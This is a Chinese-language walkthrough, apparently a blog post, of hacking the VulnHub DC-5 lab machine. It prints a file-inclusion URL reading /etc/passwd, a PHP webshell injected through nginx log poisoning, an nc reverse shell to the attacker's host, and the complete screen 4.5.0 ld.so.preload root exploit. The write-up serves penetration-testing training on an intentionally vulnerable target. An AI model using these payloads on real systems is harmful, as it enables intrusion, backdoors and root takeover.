一个“感谢页面“如何让我拿到服务器Root权限?——DC-5靶机渗透实录

一个"感谢页面"如何让我拿到服务器Root权限?------DC-5靶机渗透实录

文章目录

0x01 靶机环境安装

官网下载地址:https://download.vulnhub.com/dc/DC-5.zip

下载压缩包之后解压,然后使用**VMware** 或者**Oracle打开**打开即可,同理那么我用前者DC1的VM来进行环境安装示例。


导入好了之后,把网络适配器模式改为nat模式(以便于找到靶机IP地址),!!这里注意我们得把Vmware的版本调低一点,高版本不适配DC1靶机。会导致崩溃。

改为15版本。

环境开启成功

0x02 靶机信息收集

Ⅰ 使用nmap -sn扫描内网IP信息,获取靶机服务器IP地址。

靶机服务器IP地址:192.168.247.192

Ⅱ 使用nmap工具对靶机开放端口及更详细端口服务信息进行探测扫描。

nmap -sS -sV -T4 -A -p- 192.168.247.192

通过对扫描回显信息进行遍历研究,可以发现靶机开放了、80(http)nginx、111(rpcbind)服务。

先访问80端口,没发现网页有什么问题,然后使用dirsearch扫目录,再对thankyou.php和footer.php访问后发现了问题

对thankyou.php和footer.php的每一次请求copyright后面跟的年份都会改变,并且footer.php显示的内容是thankyou.php底部显示的内容,于是想到可能有文件包含漏洞。

0x03 靶机目标渗透测试

尝试进行文件包含测试

发现可以成功读取到 /etc/passwd文件,存在文件包含漏洞

http://192.168.247.192/thankyou.php?file=/etc/passwd

前面扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf,所以将nginx的配置文件包含过来查看日志路径,经过仔细查看发现了nginx的日志路径

我们尝试包含日志文件,然后可以看到,日志文件会记录我们传入的参数记录,所以我们可以将php一句话木马当参数传给日志文件,然后再次尝试包含日志文件,即可使用webshell管理工具,蚁剑连接即可获得shell的思路。

php 复制代码
file=<?php @eval($_POST['horse']);?>

通过访问/var/log/nginx/error.log日志可以看到我们的木马记录已经存进去了

使用蚁剑进行连接webshell

反弹一个标准的shell回kali中

php 复制代码
kali:nc -lvvp 4444
目标:nc -e /bin/sh kali ip 端口
nc -e /bin/sh 192.168.247.134 4444

用Python创建一个交互式bash环境

权限提升

查找系统中所有设置了 SUID (Set User ID) 权限的可执行文件,SUID 是一种特殊的权限位,允许普通用户在执行该文件时,暂时拥有文件所有者(通常是 root)的权限。这既是系统正常功能的一部分(如修改密码),也是黑客提权(Privilege Escalation)的主要攻击面。

部分 含义 详细解释
find 查找命令 Linux 用于搜索文件的工具。
/ 搜索路径 从根目录开始,遍历整个文件系统。
-perm -u=s 核心条件 查找权限中包含 SUID 位的文件。 -perm:按权限查找。 -:表示"包含"(只要含有该权限即可,不必完全匹配)。 u=s:User ID bit is Set (即 SUID 位被设置,表现为权限位中的 sS)。
-type f 文件类型 只查找普通文件 (file),排除目录、链接等。因为 SUID 只对可执行文件有意义。
2>/dev/null 错误处理 将标准错误输出 (stderr, 文件描述符 2) 重定向到"黑洞" (/dev/null)。 作用:抑制"权限拒绝 (Permission denied)"等报错信息。因为遍历根目录时肯定会遇到很多普通用户无权访问的文件夹,如果不加这个,屏幕会被报错刷屏。
bash 复制代码
find / -perm -u=s -type f 2>/dev/null

看到有个screen -4.5.0的版本号,它是一个 SUID 文件:

该文件的所有者权限位上设置了 SUID (Set User ID)。这意味着,即使是一个普通用户运行 /bin/screen-4.5.0,该进程也会以文件所有者(通常是 root)的权限运行。

  1. 这是一个潜在的提权漏洞 (Privilege Escalation):
    • 正常情况:screen 是一个终端复用工具,通常不需要 SUID 权限即可正常工作。
    • 风险:如果 screen 以 root 权限运行,攻击者可以利用它的功能(如执行命令、创建新窗口等)来逃逸到 root shell。
    • GTFOBins:在网络安全领域,screen 是著名的可以通过 SUID 进行提权的工具之一。攻击者可以使用类似以下的命令利用它获取 root 权限:

搜索一下 screen-4.5.0的漏洞

bash 复制代码
┌──(root㉿Kali)-[~]
└─# cat 41154.sh                                                
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell       

查看文件可以知道,脚本文件需要分3个步骤完成(注意,因为是在kali上面编译好了再通过蚁剑上传到靶机里面,有个很重要的事情:如果是高版本的kali编译的话,在靶机中最后是运行失败的(本人亲自踩坑,后面换成2018版本的kali编译则提权成功了)

第一步:将第一部分的C代码写入到libhax.c文件中,在执行相应的命令生成libhax.so文件,然后删除libhax.c文件

bash 复制代码
cd  /tmp     #先来到tmp目录下
vim    libhax.c   #编辑这个文件将下面的代码输入进去

libhax.c文件内容如下:

c 复制代码
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
    void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

第二步,将第二部分的C语言代码写入rootshell文件中,并编译成rooshell文件

bash 复制代码
vim   rootshell.c   #编辑这个文件将下面的代码输入进去

rootshell.c文件内容如下:

c 复制代码
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

第三步:将剩下部分的脚本代码写入到dc5.sh文件中,在开头加上注明执行环境,保存需要输入为,是为了防止脚本的格式错误

bash 复制代码
vim  dc5.sh   #编辑这个文件将下面的代码输入进去
c 复制代码
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
    cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
    screen -ls # screen itself is setuid, so...

编译并处理好三个文件后用蚁剑传到靶机的/tmp目录下

然后使用蚁剑反弹给kali的shell继续执行下一步的操作

bash 复制代码
cd /tmp        #来到靶机的tmp目录下
chmod 777 dc5.sh
./dc5.sh

最终get flag

0x04 总结:

如果你看到文章的这里,那么恭喜你通关 VulnHub DC-5!🎉 这是一道非常经典的渗透测试靶机,主要考察了信息收集、Web漏洞利用、日志分析、本地提权(LD_PRELOAD 竞争条件)以及跨平台编译陷阱的处理能力。成功掌握了从 Web 入侵到系统提权的完整闭环,提升了应对复杂环境下的实战能力。

本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。

相关推荐
rookieﻬ°2 小时前
Web应用漏洞综合利用
web安全
LlNingyu3 小时前
API安全的命题:逻辑缺陷的范式转移
安全·web安全
淼淼爱喝水3 小时前
DVWA手动盲注SQL实验(详细教程)
数据库·sql·网络安全·oracle·dvwa
一名优秀的码农15 小时前
vulhub系列-39-y0usef(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Echo-J17 小时前
KVM-VMI项目编译安装全过程,包含所遇问题及解决措施
安全·网络安全·云计算·系统安全
oi..18 小时前
Flag入门—Flag在返回包中
网络·笔记·测试工具·安全·网络安全
heze0919 小时前
sqli-labs-Less-53
数据库·mysql·网络安全
啥都想学点19 小时前
pikachu靶场——File Inclusion(Kali系统)
网络安全
楠目19 小时前
ThinkPHP 5.2 反序列化漏洞分析
网络安全